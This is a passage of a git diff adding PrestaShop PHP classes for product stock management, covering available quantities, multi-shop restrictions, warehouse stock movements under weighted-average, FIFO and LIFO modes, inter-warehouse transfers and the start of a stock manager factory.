@see ObjectModel::update() + */ + public function update($null_values = false) + { + if (!$result = parent::update($null_values)) + return false; + + $result &= $this->postSave(); + return $result; + } + + /** + * Upgrades total_quantity_available after having saved + * @see StockAvailableCore::update() + * @see StockAvailableCore::add() + */ + public function postSave() + { + if ($this->id_product_attribute == 0) + return true; + + $id_shop = (Shop::getContext() != Shop::CONTEXT_GROUP ? $this->id_shop : null); + + $total_quantity = (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT SUM(quantity) as quantity + FROM '._DB_PREFIX_.'stock_available + WHERE id_product = '.(int)$this->id_product.' + AND id_product_attribute <> 0 '. + StockAvailable::addSqlShopRestriction(null, $id_shop) + ); + + $this->setQuantity($this->id_product, 0, $total_quantity, $id_shop); + + return true; + } + + /** + * For a given id_product and id_product_attribute updates the quantity available + * + * @param int $id_product + * @param int $id_product_attribute Optional + * @param int $delta_quantity The delta quantity to update + * @param int $id_shop Optional + */ + public static function updateQuantity($id_product, $id_product_attribute, $delta_quantity, $id_shop = null) + { + if (!Validate::isUnsignedId($id_product)) + return false; + + $id_stock_available = StockAvailable::getStockAvailableIdByProductId($id_product, $id_product_attribute, $id_shop); + + if (!$id_stock_available) + return false; + + // Update quantity of the pack products + if (Pack::isPack($id_product)) + { + $products_pack = Pack::getItems($id_product, (int)Configuration::get('PS_LANG_DEFAULT')); + foreach ($products_pack as $product_pack) + { + $pack_id_product_attribute = Product::getDefaultAttribute($product_pack->id, 1); + StockAvailable::updateQuantity($product_pack->id, $pack_id_product_attribute, $product_pack->pack_quantity * $delta_quantity, $id_shop); + } + } + + $stock_available = new StockAvailable($id_stock_available); + $stock_available->quantity = $stock_available->quantity + $delta_quantity; + $stock_available->update(); + + Hook::exec('actionUpdateQuantity', + array( + 'id_product' => $id_product, + 'id_product_attribute' => $id_product_attribute, + 'quantity' => $stock_available->quantity + ) + ); + + return true; + } + + + /** + * For a given id_product and id_product_attribute sets the quantity available + * + * @param int $id_product + * @param int $id_product_attribute Optional + * @param int $delta_quantity The delta quantity to update + * @param int $id_shop Optional + */ + public static function setQuantity($id_product, $id_product_attribute, $quantity, $id_shop = null) + { + if (!Validate::isUnsignedId($id_product)) + return false; + + $context = Context::getContext(); + + // if there is no $id_shop, gets the context one + if ($id_shop === null && Shop::getContext() != Shop::CONTEXT_GROUP) + $id_shop = (int)$context->shop->id; + + $depends_on_stock = StockAvailable::dependsOnStock($id_product); + + //Try to set available quantity if product does not depend on physical stock + if (!$depends_on_stock) + { + $id_stock_available = (int)StockAvailable::getStockAvailableIdByProductId($id_product, $id_product_attribute, $id_shop); + if ($id_stock_available) + { + $stock_available = new StockAvailable($id_stock_available); + $stock_available->quantity = (int)$quantity; + $stock_available->update(); + } + else + { + $out_of_stock = StockAvailable::outOfStock($id_product, $id_shop); + $stock_available = new StockAvailable(); + $stock_available->out_of_stock = (int)$out_of_stock; + $stock_available->id_product = (int)$id_product; + $stock_available->id_product_attribute = (int)$id_product_attribute; + $stock_available->quantity = (int)$quantity; + + if ($id_shop === null) + $shop_group = Shop::getContextShopGroup(); + else + $shop_group = new ShopGroup((int)Shop::getGroupFromShop((int)$id_shop)); + + // if quantities are shared between shops of the group + if ($shop_group->share_stock) + { + $stock_available->id_shop = 0; + $stock_available->id_shop_group = (int)$shop_group->id; + } + else + { + $stock_available->id_shop = (int)$id_shop; + $stock_available->id_shop_group = 0; + } + $stock_available->add(); + } + + Hook::exec('actionUpdateQuantity', + array( + 'id_product' => $id_product, + 'id_product_attribute' => $id_product_attribute, + 'quantity' => $stock_available->quantity + ) + ); + } + } + + /** + * Removes a given product from the stock available + * + * @param int $id_product + * @param int $id_product_attribute Optional + * @param mixed $id_shop shop id or shop object Optional + */ + public static function removeProductFromStockAvailable($id_product, $id_product_attribute = null, $shop = null) + { + if (!Validate::isUnsignedId($id_product)) + return false; + + if (Shop::getContext() == SHOP::CONTEXT_SHOP) + if (Shop::getContextShopGroup()->share_stock == 1) + { + $pa_sql = ''; + if ($id_product_attribute !== null) + { + $pa_sql = '_attribute'; + $id_product_attribute_sql = $id_product_attribute; + } + else + $id_product_attribute_sql = $id_product; + + if ((int)Db::getInstance()->getValue('SELECT COUNT(*) + FROM '._DB_PREFIX_.'product'.$pa_sql.'_shop + WHERE id_product'.$pa_sql.'='.(int)$id_product_attribute_sql.' + AND id_shop IN ('.implode(',', array_map('intval', Shop::getContextListShopID(SHOP::SHARE_STOCK))).')')) + return true; + } + + $res = Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'stock_available + WHERE id_product = '.(int)$id_product. + ($id_product_attribute ? ' AND id_product_attribute = '.(int)$id_product_attribute : ''). + StockAvailable::addSqlShopRestriction(null, $shop)); + + if ($id_product_attribute) + { + if ($shop === null || !Validate::isLoadedObject($shop)) + { + $shop_datas = array(); + StockAvailable::addSqlShopParams($shop_datas); + $id_shop = (int)$shop_datas['id_shop']; + } + else + $id_shop = (int)$shop->id; + + $stock_available = new StockAvailable(); + $stock_available->id_product = (int)$id_product; + $stock_available->id_product_attribute = (int)$id_product; + $stock_available->id_shop = (int)$id_shop; + $stock_available->postSave(); + } + + return $res; + } + + /** + * Removes all product quantities from all a group of shops + * If stocks are shared, remoe all old available quantities for all shops of the group + * Else remove all available quantities for the current group + * + * @param ShopGroup $shop_group the ShopGroup object + */ + public static function resetProductFromStockAvailableByShopGroup(ShopGroup $shop_group) + { + if ($shop_group->share_stock) + { + $shop_list = Shop::getShops(false, $shop_group->id, true); + + if (count($shop_list) > 0) + { + $id_shops_list = implode(', ', $shop_list); + + return Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'stock_available + WHERE id_shop IN ('.$id_shops_list.')' + ); + } + } + else + { + return Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'stock_available + WHERE id_shop_group = '.$shop_group->id + ); + } + } + + /** + * For a given product, tells if it depends on the physical (usable) stock + * + * @param int $id_product + * @param int $id_shop Optional : gets context if null @see Context::getContext() + * @return bool : depends on stock @see $depends_on_stock + */ + public static function dependsOnStock($id_product, $id_shop = null) + { + if (!Validate::isUnsignedId($id_product)) + return false; + + $query = new DbQuery(); + $query->select('depends_on_stock'); + $query->from('stock_available'); + $query->where('id_product = '.(int)$id_product); + $query->where('id_product_attribute = 0'); + + $query = StockAvailable::addSqlShopRestriction($query, $id_shop); + + return (bool)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * For a given product, get its "out of stock" flag + * + * @param int $id_product + * @param int $id_shop Optional : gets context if null @see Context::getContext() + * @return bool : depends on stock @see $depends_on_stock + */ + public static function outOfStock($id_product, $id_shop = null) + { + if (!Validate::isUnsignedId($id_product)) + return false; + + $query = new DbQuery(); + $query->select('out_of_stock'); + $query->from('stock_available'); + $query->where('id_product = '.(int)$id_product); + $query->where('id_product_attribute = 0'); + + $query = StockAvailable::addSqlShopRestriction($query, $id_shop); + + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * Add an sql restriction for shops fields - specific to StockAvailable + * + * @param DbQuery $query Reference to the query object + * @param int $id_shop Optional : The shop ID + * @param string $alias Optional : The current table alias + * + * @return mixed the DbQuery object or the sql restriction string + */ + public static function addSqlShopRestriction(DbQuery $sql = null, $shop = null, $alias = null) + { + $context = Context::getContext(); + + if (!empty($alias)) + $alias .= '.'; + + // if there is no $id_shop, gets the context one + // get shop group too + if ($shop === null) + { + if (Shop::getContext() == Shop::CONTEXT_GROUP) + $shop_group = Shop::getContextShopGroup(); + else + $shop_group = $context->shop->getGroup(); + $shop = $context->shop; + } + elseif (is_object($shop)) + $shop_group = $shop->getGroup(); + else + { + $shop = new Shop($shop); + $shop_group = $shop->getGroup(); + } + + // if quantities are shared between shops of the group + if ($shop_group->share_stock) + { + if (is_object($sql)) + { + $sql->where(pSQL($alias).'id_shop_group = '.(int)$shop_group->id); + $sql->where(pSQL($alias).'id_shop = 0'); + } + else + { + $sql = ' AND '.pSQL($alias).'id_shop_group = '.(int)$shop_group->id.' '; + $sql .= ' AND '.pSQL($alias).'id_shop = 0 '; + } + } + else + { + if (is_object($sql)) + $sql->where(pSQL($alias).'id_shop = '.(int)$shop->id); + else + $sql = ' AND '.pSQL($alias).'id_shop = '.(int)$shop->id.' '; + } + + return $sql; + } + + /** + * Add sql params for shops fields - specific to StockAvailable + * + * @param array $params Reference to the params array + * @param int $id_shop Optional : The shop ID + * + */ + public static function addSqlShopParams(&$params, $id_shop = null) + { + $context = Context::getContext(); + $group_ok = false; + + // if there is no $id_shop, gets the context one + // get shop group too + if ($id_shop === null) + { + if (Shop::getContext() == Shop::CONTEXT_GROUP) + $shop_group = Shop::getContextShopGroup(); + else + { + $shop_group = $context->shop->getGroup(); + $id_shop = $context->shop->id; + } + } + else + { + $shop = new Shop($id_shop); + $shop_group = $shop->getGroup(); + } + + // if quantities are shared between shops of the group + if ($shop_group->share_stock) + { + $params['id_shop_group'] = (int)$shop_group->id; + $params['id_shop'] = 0; + + $group_ok = true; + } + else + $params['id_shop_group'] = 0; + + // if no group specific restriction, set simple shop restriction + if (!$group_ok) + $params['id_shop'] = (int)$id_shop; + } + + /** + * Copies stock available content table + * + * @param int $src_shop_id + * @param int $dst_shop_id + * @return bool + */ + public static function copyStockAvailableFromShopToShop($src_shop_id, $dst_shop_id) + { + if (!$src_shop_id || !$dst_shop_id) + return false; + + $query = ' + INSERT INTO '._DB_PREFIX_.'stock_available + ( + id_product, + id_product_attribute, + id_shop, + id_shop_group, + quantity, + depends_on_stock, + out_of_stock + ) + ( + SELECT id_product, id_product_attribute, '.(int)$dst_shop_id.', 0, quantity, depends_on_stock, out_of_stock + FROM '._DB_PREFIX_.'stock_available + WHERE id_shop = '.(int)$src_shop_id. + ')'; + + return Db::getInstance()->execute($query); + } +} diff --git a/classes/stock/StockManager.php b/classes/stock/StockManager.php new file mode 100755 index 0000000..1ad67d7 --- /dev/null +++ b/classes/stock/StockManager.php @@ -0,0 +1,661 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * StockManager : implementation of StockManagerInterface + * @since 1.5.0 + */ +class StockManagerCore implements StockManagerInterface +{ + + /** + * @see StockManagerInterface::isAvailable() + */ + public static function isAvailable() + { + // Default Manager : always available + return true; + } + + /** + * @see StockManagerInterface::addProduct() + */ + public function addProduct($id_product, + $id_product_attribute = 0, + Warehouse $warehouse, + $quantity, + $id_stock_mvt_reason, + $price_te, + $is_usable = true, + $id_supply_order = null) + { + if (!Validate::isLoadedObject($warehouse) || !$price_te || !$quantity || !$id_product) + return false; + + $price_te = (float)round($price_te, 6); + + if (!StockMvtReason::exists($id_stock_mvt_reason)) + $id_stock_mvt_reason = Configuration::get('PS_STOCK_MVT_INC_REASON_DEFAULT'); + + $context = Context::getContext(); + + $mvt_params = array( + 'id_stock' => null, + 'physical_quantity' => $quantity, + 'id_stock_mvt_reason' => $id_stock_mvt_reason, + 'id_supply_order' => $id_supply_order, + 'price_te' => $price_te, + 'last_wa' => null, + 'current_wa' => null, + 'id_employee' => $context->employee->id, + 'employee_firstname' => $context->employee->firstname, + 'employee_lastname' => $context->employee->lastname, + 'sign' => 1 + ); + + $stock_exists = false; + + // switch on MANAGEMENT_TYPE + switch ($warehouse->management_type) + { + // case CUMP mode + case 'WA': + + $stock_collection = $this->getStockCollection($id_product, $id_product_attribute, $warehouse->id); + + // if this product is already in stock + if (count($stock_collection) > 0) + { + $stock_exists = true; + + // for a warehouse using WA, there is one and only one stock for a given product + $stock = $stock_collection->current(); + + // calculates WA price + $last_wa = $stock->price_te; + $current_wa = $this->calculateWA($stock, $quantity, $price_te); + + $mvt_params['id_stock'] = $stock->id; + $mvt_params['last_wa'] = $last_wa; + $mvt_params['current_wa'] = $current_wa; + + $stock_params = array( + 'physical_quantity' => ($stock->physical_quantity + $quantity), + 'price_te' => $current_wa, + 'usable_quantity' => ($is_usable ? ($stock->usable_quantity + $quantity) : $stock->usable_quantity), + 'id_warehouse' => $warehouse->id, + ); + + // saves stock in warehouse + $stock->hydrate($stock_params); + $stock->update(); + } + else // else, the product is not in sock + { + $mvt_params['last_wa'] = 0; + $mvt_params['current_wa'] = $price_te; + } + break; + + // case FIFO / LIFO mode + case 'FIFO': + case 'LIFO': + + $stock_collection = $this->getStockCollection($id_product, $id_product_attribute, $warehouse->id, $price_te); + + // if this product is already in stock + if (count($stock_collection) > 0) + { + $stock_exists = true; + + // there is one and only one stock for a given product in a warehouse and at the current unit price + $stock = $stock_collection->current(); + + $stock_params = array( + 'physical_quantity' => ($stock->physical_quantity + $quantity), + 'usable_quantity' => ($is_usable ? ($stock->usable_quantity + $quantity) : $stock->usable_quantity), + ); + + // updates stock in warehouse + $stock->hydrate($stock_params); + $stock->update(); + + // sets mvt_params + $mvt_params['id_stock'] = $stock->id; + + } + + break; + + default: + return false; + break; + } + + if (!$stock_exists) + { + $stock = new Stock(); + + $stock_params = array( + 'id_product_attribute' => $id_product_attribute, + 'id_product' => $id_product, + 'physical_quantity' => $quantity, + 'price_te' => $price_te, + 'usable_quantity' => ($is_usable ? $quantity : 0), + 'id_warehouse' => $warehouse->id + ); + + // saves stock in warehouse + $stock->hydrate($stock_params); + $stock->add(); + $mvt_params['id_stock'] = $stock->id; + } + + // saves stock mvt + $stock_mvt = new StockMvt(); + $stock_mvt->hydrate($mvt_params); + $stock_mvt->add(); + + return true; + } + + /** + * @see StockManagerInterface::removeProduct() + */ + public function removeProduct($id_product, + $id_product_attribute = null, + Warehouse $warehouse, + $quantity, + $id_stock_mvt_reason, + $is_usable = true, + $id_order = null) + { + $return = array(); + + if (!Validate::isLoadedObject($warehouse) || !$quantity || !$id_product) + return $return; + + if (!StockMvtReason::exists($id_stock_mvt_reason)) + $id_stock_mvt_reason = Configuration::get('PS_STOCK_MVT_DEC_REASON_DEFAULT'); + + $context = Context::getContext(); + + // Special case of a pack + if (Pack::isPack((int)$id_product)) + { + // Gets items + $products_pack = Pack::getItems((int)$id_product, (int)Configuration::get('PS_LANG_DEFAULT')); + // Foreach item + foreach ($products_pack as $product_pack) + { + $pack_id_product_attribute = Product::getDefaultAttribute($product_pack->id, 1); + if ($product_pack->advanced_stock_management == 1) + $this->removeProduct($product_pack->id, $pack_id_product_attribute, $warehouse, $product_pack->pack_quantity * $quantity, $id_stock_mvt_reason, $is_usable, $id_order); + } + } + else + { + // gets total quantities in stock for the current product + $physical_quantity_in_stock = (int)$this->getProductPhysicalQuantities($id_product, $id_product_attribute, array($warehouse->id), false); + $usable_quantity_in_stock = (int)$this->getProductPhysicalQuantities($id_product, $id_product_attribute, array($warehouse->id), true); + + // check quantity if we want to decrement unusable quantity + if (!$is_usable) + $quantity_in_stock = $physical_quantity_in_stock - $usable_quantity_in_stock; + else + $quantity_in_stock = $usable_quantity_in_stock; + + // checks if it's possible to remove the given quantity + if ($quantity_in_stock < $quantity) + return $return; + + $stock_collection = $this->getStockCollection($id_product, $id_product_attribute, $warehouse->id); + $stock_collection->getAll(); + + // check if the collection is loaded + if (count($stock_collection) <= 0) + return $return; + + $stock_history_qty_available = array(); + $mvt_params = array(); + $stock_params = array(); + $quantity_to_decrement_by_stock = array(); + $global_quantity_to_decrement = $quantity; + + // switch on MANAGEMENT_TYPE + switch ($warehouse->management_type) + { + // case CUMP mode + case 'WA': + // There is one and only one stock for a given product in a warehouse in this mode + $stock = $stock_collection->current(); + + $mvt_params = array( + 'id_stock' => $stock->id, + 'physical_quantity' => $quantity, + 'id_stock_mvt_reason' => $id_stock_mvt_reason, + 'id_order' => $id_order, + 'price_te' => $stock->price_te, + 'last_wa' => $stock->price_te, + 'current_wa' => $stock->price_te, + 'id_employee' => $context->employee->id, + 'employee_firstname' => $context->employee->firstname, + 'employee_lastname' => $context->employee->lastname, + 'sign' => -1 + ); + $stock_params = array( + 'physical_quantity' => ($stock->physical_quantity - $quantity), + 'usable_quantity' => ($is_usable ? ($stock->usable_quantity - $quantity) : $stock->usable_quantity) + ); + + // saves stock in warehouse + $stock->hydrate($stock_params); + $stock->update(); + + // saves stock mvt + $stock_mvt = new StockMvt(); + $stock_mvt->hydrate($mvt_params); + $stock_mvt->save(); + + $return[$stock->id]['quantity'] = $quantity; + $return[$stock->id]['price_te'] = $stock->price_te; + + break; + + case 'LIFO': + case 'FIFO': + + // for each stock, parse its mvts history to calculate the quantities left for each positive mvt, + // according to the instant available quantities for this stock + foreach ($stock_collection as $stock) + { + $left_quantity_to_check = $stock->physical_quantity; + if ($left_quantity_to_check <= 0) + continue; + + $resource = Db::getInstance(_PS_USE_SQL_SLAVE_)->query(' + SELECT sm.`id_stock_mvt`, sm.`date_add`, sm.`physical_quantity`, + IF ((sm2.`physical_quantity` is null), sm.`physical_quantity`, (sm.`physical_quantity` - SUM(sm2.`physical_quantity`))) as qty + FROM `'._DB_PREFIX_.'stock_mvt` sm + LEFT JOIN `'._DB_PREFIX_.'stock_mvt` sm2 ON sm2.`referer` = sm.`id_stock_mvt` + WHERE sm.`sign` = 1 + AND sm.`id_stock` = '.(int)$stock->id.' + GROUP BY sm.`id_stock_mvt` + ORDER BY sm.`date_add` DESC' + ); + + while ($row = Db::getInstance()->nextRow($resource)) + { + // break - in FIFO mode, we have to retreive the oldest positive mvts for which there are left quantities + if ($warehouse->management_type == 'FIFO') + if ($row['qty'] == 0) + break; + + // converts date to timestamp + $date = new DateTime($row['date_add']); + $timestamp = $date->format('U'); + + // history of the mvt + $stock_history_qty_available[$timestamp] = array( + 'id_stock' => $stock->id, + 'id_stock_mvt' => (int)$row['id_stock_mvt'], + 'qty' => (int)$row['qty'] + ); + + // break - in LIFO mode, checks only the necessary history to handle the global quantity for the current stock + if ($warehouse->management_type == 'LIFO') + { + $left_quantity_to_check -= (int)$row['physical_quantity']; + if ($left_quantity_to_check <= 0) + break; + } + } + } + + if ($warehouse->management_type == 'LIFO') + // orders stock history by timestamp to get newest history first + krsort($stock_history_qty_available); + else + // orders stock history by timestamp to get oldest history first + ksort($stock_history_qty_available); + + // checks each stock to manage the real quantity to decrement for each of them + foreach ($stock_history_qty_available as $entry) + { + if ($entry['qty'] >= $global_quantity_to_decrement) + { + $quantity_to_decrement_by_stock[$entry['id_stock']][$entry['id_stock_mvt']] = $global_quantity_to_decrement; + $global_quantity_to_decrement = 0; + } + else + { + $quantity_to_decrement_by_stock[$entry['id_stock']][$entry['id_stock_mvt']] = $entry['qty']; + $global_quantity_to_decrement -= $entry['qty']; + } + + if ($global_quantity_to_decrement <= 0) + break; + } + + // for each stock, decrements it and logs the mvts + foreach ($stock_collection as $stock) + { + if (array_key_exists($stock->id, $quantity_to_decrement_by_stock) && is_array($quantity_to_decrement_by_stock[$stock->id])) + { + $total_quantity_for_current_stock = 0; + + foreach ($quantity_to_decrement_by_stock[$stock->id] as $id_mvt_referrer => $qte) + { + $mvt_params = array( + 'id_stock' => $stock->id, + 'physical_quantity' => $qte, + 'id_stock_mvt_reason' => $id_stock_mvt_reason, + 'id_order' => $id_order, + 'price_te' => $stock->price_te, + 'sign' => -1, + 'referer' => $id_mvt_referrer, + 'id_employee' => $context->employee->id + ); + + // saves stock mvt + $stock_mvt = new StockMvt(); + $stock_mvt->hydrate($mvt_params); + $stock_mvt->save(); + + $total_quantity_for_current_stock += $qte; + } + + $stock_params = array( + 'physical_quantity' => ($stock->physical_quantity - $total_quantity_for_current_stock), + 'usable_quantity' => ($is_usable ? ($stock->usable_quantity - $total_quantity_for_current_stock) : $stock->usable_quantity) + ); + + $return[$stock->id]['quantity'] = $total_quantity_for_current_stock; + $return[$stock->id]['price_te'] = $stock->price_te; + + // saves stock in warehouse + $stock->hydrate($stock_params); + $stock->update(); + } + } + break; + } + } + + // if we remove a usable quantity, exec hook + if ($is_usable) + Hook::exec('actionProductCoverage', + array( + 'id_product' => $id_product, + 'id_product_attribute' => $id_product_attribute, + 'warehouse' => $warehouse + ) + ); + + return $return; + } + + /** + * @see StockManagerInterface::getProductPhysicalQuantities() + */ + public function getProductPhysicalQuantities($id_product, $id_product_attribute, $ids_warehouse = null, $usable = false) + { + if (!is_null($ids_warehouse)) + { + // in case $ids_warehouse is not an array + if (!is_array($ids_warehouse)) + $ids_warehouse = array($ids_warehouse); + + // casts for security reason + $ids_warehouse = array_map('intval', $ids_warehouse); + if (!count($ids_warehouse)) + return 0; + } + else + $ids_warehouse = array(); + + $query = new DbQuery(); + $query->select('SUM('.($usable ? 's.usable_quantity' : 's.physical_quantity').')'); + $query->from('stock', 's'); + $query->where('s.id_product = '.(int)$id_product); + if (0 != $id_product_attribute) + $query->where('s.id_product_attribute = '.(int)$id_product_attribute); + + if (count($ids_warehouse)) + $query->where('s.id_warehouse IN('.implode(', ', $ids_warehouse).')'); + + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * @see StockManagerInterface::getProductRealQuantities() + */ + public function getProductRealQuantities($id_product, $id_product_attribute, $ids_warehouse = null, $usable = false) + { + if (!is_null($ids_warehouse)) + { + // in case $ids_warehouse is not an array + if (!is_array($ids_warehouse)) + $ids_warehouse = array($ids_warehouse); + + // casts for security reason + $ids_warehouse = array_map('intval', $ids_warehouse); + } + + // Gets client_orders_qty + $query = new DbQuery(); + $query->select('od.product_quantity, od.product_quantity_refunded'); + $query->from('order_detail', 'od'); + $query->leftjoin('orders', 'o', 'o.id_order = od.id_order'); + $query->where('od.product_id = '.(int)$id_product); + if (0 != $id_product_attribute) + $query->where('od.product_attribute_id = '.(int)$id_product_attribute); + $query->leftJoin('order_history', 'oh', 'oh.id_order = o.id_order AND oh.id_order_state = o.current_state'); + $query->leftJoin('order_state', 'os', 'os.id_order_state = oh.id_order_state'); + $query->where('os.shipped != 1'); + $query->where('o.valid = 1 OR (os.id_order_state != '.(int)Configuration::get('PS_OS_ERROR').' + AND os.id_order_state != '.(int)Configuration::get('PS_OS_CANCELED').')'); + $query->groupBy('od.id_order_detail'); + //if (count($ids_warehouse)) + //$query->where('od.id_warehouse IN('.implode(', ', $ids_warehouse).')'); + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + $client_orders_qty = 0; + if (count($res)) + foreach ($res as $row) + $client_orders_qty += $row['product_quantity'] + $row['product_quantity_refunded']; + + // Gets supply_orders_qty + $query = new DbQuery(); + + $query->select('sod.quantity_expected, sod.quantity_received'); + $query->from('supply_order', 'so'); + $query->leftjoin('supply_order_detail', 'sod', 'sod.id_supply_order = so.id_supply_order'); + $query->leftjoin('supply_order_state', 'sos', 'sos.id_supply_order_state = so.id_supply_order_state'); + $query->where('sos.pending_receipt = 1'); + $query->where('sod.id_product = '.(int)$id_product.' AND sod.id_product_attribute = '.(int)$id_product_attribute); + if (!is_null($ids_warehouse) && count($ids_warehouse)) + $query->where('so.id_warehouse IN('.implode(', ', $ids_warehouse).')'); + + $supply_orders_qties = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + $supply_orders_qty = 0; + foreach ($supply_orders_qties as $qty) + if ($qty['quantity_expected'] > $qty['quantity_received']) + $supply_orders_qty += ($qty['quantity_expected'] - $qty['quantity_received']); + + // Gets {physical OR usable}_qty + $qty = $this->getProductPhysicalQuantities($id_product, $id_product_attribute, $ids_warehouse, $usable); + + //real qty = actual qty in stock - current client orders + current supply orders + return ($qty - $client_orders_qty + $supply_orders_qty); + } + + /** + * @see StockManagerInterface::transferBetweenWarehouses() + */ + public function transferBetweenWarehouses($id_product, + $id_product_attribute, + $quantity, + $id_warehouse_from, + $id_warehouse_to, + $usable_from = true, + $usable_to = true) + { + // Checks if this transfer is possible + if ($this->getProductPhysicalQuantities($id_product, $id_product_attribute, array($id_warehouse_from), $usable_from) < $quantity) + return false; + + if ($id_warehouse_from == $id_warehouse_to && $usable_from == $usable_to) + return false; + + // Checks if the given warehouses are available + $warehouse_from = new Warehouse($id_warehouse_from); + $warehouse_to = new Warehouse($id_warehouse_to); + if (!Validate::isLoadedObject($warehouse_from) || + !Validate::isLoadedObject($warehouse_to)) + return false; + + // Removes from warehouse_from + $stocks = $this->removeProduct($id_product, + $id_product_attribute, + $warehouse_from, + $quantity, + Configuration::get('PS_STOCK_MVT_TRANSFER_FROM'), + $usable_from); + if (!count($stocks)) + return false; + + // Adds in warehouse_to + foreach ($stocks as $stock) + { + $price = $stock['price_te']; + + // convert product price to destination warehouse currency if needed + if ($warehouse_from->id_currency != $warehouse_to->id_currency) + { + // First convert price to the default currency + $price_converted_to_default_currency = Tools::convertPrice($price, $warehouse_from->id_currency, false); + + // Convert the new price from default currency to needed currency + $price = Tools::convertPrice($price_converted_to_default_currency, $warehouse_to->id_currency, true); + } + + if (!$this->addProduct($id_product, + $id_product_attribute, + $warehouse_to, + $stock['quantity'], + Configuration::get('PS_STOCK_MVT_TRANSFER_TO'), + $price, + $usable_to)) + return false; + } + return true; + } + + /** + * @see StockManagerInterface::getProductCoverage() + * Here, $coverage is a number of days + * @return int number of days left (-1 if infinite) + */ + public function getProductCoverage($id_product, $id_product_attribute, $coverage, $id_warehouse = null) + { + if (!$id_product_attribute) + $id_product_attribute = 0; + + if ($coverage == 0 || !$coverage) + $coverage = 7; // Week by default + + // gets all stock_mvt for the given coverage period + $query = ' + SELECT SUM(view.quantity) as quantity_out + FROM + ( SELECT sm.`physical_quantity` as quantity + FROM `'._DB_PREFIX_.'stock_mvt` sm + LEFT JOIN `'._DB_PREFIX_.'stock` s ON (sm.`id_stock` = s.`id_stock`) + LEFT JOIN `'._DB_PREFIX_.'product` p ON (p.`id_product` = s.`id_product`) + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa ON (p.`id_product` = pa.`id_product`) + '.Shop::addSqlAssociation('product_attribute', 'pa', false).' + WHERE sm.`sign` = -1 + AND sm.`id_stock_mvt_reason` != '.Configuration::get('PS_STOCK_MVT_TRANSFER_FROM').' + AND TO_DAYS(NOW()) - TO_DAYS(sm.`date_add`) <= '.(int)$coverage.' + AND s.`id_product` = '.(int)$id_product.' + AND s.`id_product_attribute` = '.(int)$id_product_attribute. + ($id_warehouse ? ' AND s.`id_warehouse` = '.(int)$id_warehouse : '').' + GROUP BY sm.`id_stock_mvt` + ) as view'; + + $quantity_out = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + if (!$quantity_out) + return -1; + + $quantity_per_day = Tools::ps_round($quantity_out / $coverage); + $physical_quantity = $this->getProductPhysicalQuantities($id_product, + $id_product_attribute, + ($id_warehouse ? array($id_warehouse) : null), + true); + $time_left = ($quantity_per_day == 0) ? (-1) : Tools::ps_round($physical_quantity / $quantity_per_day); + + return $time_left; + } + + /** + * For a given stock, calculates its new WA(Weighted Average) price based on the new quantities and price + * Formula : (physicalStock * lastCump + quantityToAdd * unitPrice) / (physicalStock + quantityToAdd) + * + * @param Stock $stock + * @param int $quantity + * @param float $price_te + * @return int WA + */ + protected function calculateWA(Stock $stock, $quantity, $price_te) + { + return (float)Tools::ps_round(((($stock->physical_quantity * $stock->price_te) + ($quantity * $price_te)) / ($stock->physical_quantity + $quantity)), 6); + } + + /** + * For a given product, retrieves the stock collection + * + * @param int $id_product + * @param int $id_product_attribute + * @param int $id_warehouse Optional + * @param int $price_te Optional + * @return Collection of Stock + */ + protected function getStockCollection($id_product, $id_product_attribute, $id_warehouse = null, $price_te = null) + { + $stocks = new Collection('Stock'); + $stocks->where('id_product', '=', $id_product); + $stocks->where('id_product_attribute', '=', $id_product_attribute); + if ($id_warehouse) + $stocks->where('id_warehouse', '=', $id_warehouse); + if ($price_te) + $stocks->where('price_te', '=', $price_te); + + return $stocks; + } + +} diff --git a/classes/stock/StockManagerFactory.php b/classes/stock/StockManagerFactory.php new file mode 100755 index 0000000..02c812a --- /dev/null +++ b/classes/stock/StockManagerFactory.php @@ -0,0 +1,78 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* + * StockManagerFactory : factory of stock manager + * @since 1.5.0 + */ +class StockManagerFactoryCore +{ + /** + * @var $stock_manager : instance of the current StockManager. + */ + protected static $stock_manager; + + /** + * Returns a StockManager + * + * @return StockManagerInterface + */ + public static function getManager() + { + if (!isset(StockManagerFactory::$stock_manager)) + { + $stock_manager = StockManagerFactory::execHookStockManagerFactory(); + if (!($stock_manager instanceof StockManagerInterface)) + $stock_manager = new StockManager(); + 